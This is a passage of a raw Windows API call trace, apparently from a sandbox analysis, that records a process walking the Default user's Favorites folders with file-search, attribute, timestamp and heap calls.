(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f96b8 [0092.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370350 [0092.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9f40) returned 0x132a698 [0092.940] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="")) returned 1 [0092.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f96d8 [0092.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1370458 [0092.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.941] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 0 [0092.942] GetLastError () returned 0x12 [0092.942] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0092.942] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="")) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="")) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="")) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="")) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 1 [0092.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 0 [0092.942] GetLastError () returned 0x12 [0092.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd3f0) returned 1 [0092.943] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ff30) returned 1 [0092.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.944] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="")) returned 1 [0092.944] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites" (normalized: "c:\\users\\default\\favorites\\msn websites"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.944] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites" (normalized: "c:\\users\\default\\favorites\\msn websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0092.944] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.945] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.945] NtClose (Handle=0x164) returned 0x0 [0092.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd3f0 [0092.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd478 [0092.946] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0092.947] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.947] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="")) returned 1 [0092.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9718 [0092.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd610 [0092.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.950] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="")) returned 1 [0092.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9738 [0092.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd698 [0092.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.952] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="")) returned 1 [0092.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9758 [0092.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd720 [0092.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.954] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="")) returned 1 [0092.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9778 [0092.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd7a8 [0092.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.956] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0092.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9798 [0092.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd830 [0092.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.958] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 1 [0092.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd368 [0092.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f97b8 [0092.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd8b8 [0092.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd368) returned 1 [0092.960] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 0 [0092.960] GetLastError () returned 0x12 [0092.960] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0092.960] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.960] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="")) returned 1 [0092.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="")) returned 1 [0092.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="")) returned 1 [0092.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="")) returned 1 [0092.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0092.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 1 [0092.961] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 0 [0092.961] GetLastError () returned 0x12 [0092.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd478) returned 1 [0092.961] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd3f0) returned 1 [0092.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.962] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 1 [0092.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live" (normalized: "c:\\users\\default\\favorites\\windows live"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.963] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live" (normalized: "c:\\users\\default\\favorites\\windows live"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.963] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.963] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, 